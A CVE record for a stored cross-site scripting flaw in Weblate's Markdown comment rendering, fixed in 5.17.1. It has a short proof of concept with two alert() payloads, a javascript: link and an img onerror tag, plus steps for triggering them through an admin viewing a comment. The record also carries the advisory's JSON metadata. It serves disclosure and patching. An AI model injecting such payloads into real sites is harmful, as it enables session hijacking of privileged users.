CVE-2026-44264

# PoC for CVE-2026-44264 # Attackers can inject malicious attributes via Markdown in user comments. # Example 1: Using javascript: protocol in a link payload_1 = """[Click Me](javascript:alert('CVE-2026-44264'))""" # Example 2: Using an image tag with an onerror event handler (if HTML is supported/parsed) payload_2 = """<img src=x onerror=alert('CVE-2026-44264')>""" # Steps to reproduce: # 1. Log in to Weblate with a low-privilege account. # 2. Go to a translation component and add a comment. # 3. Paste the payload into the comment field and submit. # 4. View the comment as an admin user to trigger the script execution.

{"cve": {"id": "CVE-2026-44264", "sourceIdentifier": "[email protected]", "published": "2026-05-07T15:16:10.760", "lastModified": "2026-05-11T14:50:31.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Weblate is a web based localization tool. Prior to version 5.17.1, the Markdown renderer used in user comments and other user-provided content didn't properly sanitize some attributes. This issue has been patched in version 5.17.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:weblate:weblate:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.17.1", "matchCriteriaId": "883115A9-8BF0-460B-B711-BDC6C4FCBE10"}]}]}], "references": [{"url": "https://github.com/WeblateOrg/weblate/commit/85abc9df88b7464f4c0e794aef752e45f4230f75", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/pull/19259", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/releases/tag/weblate-5.17.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-5cmv-3rc4-7279", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}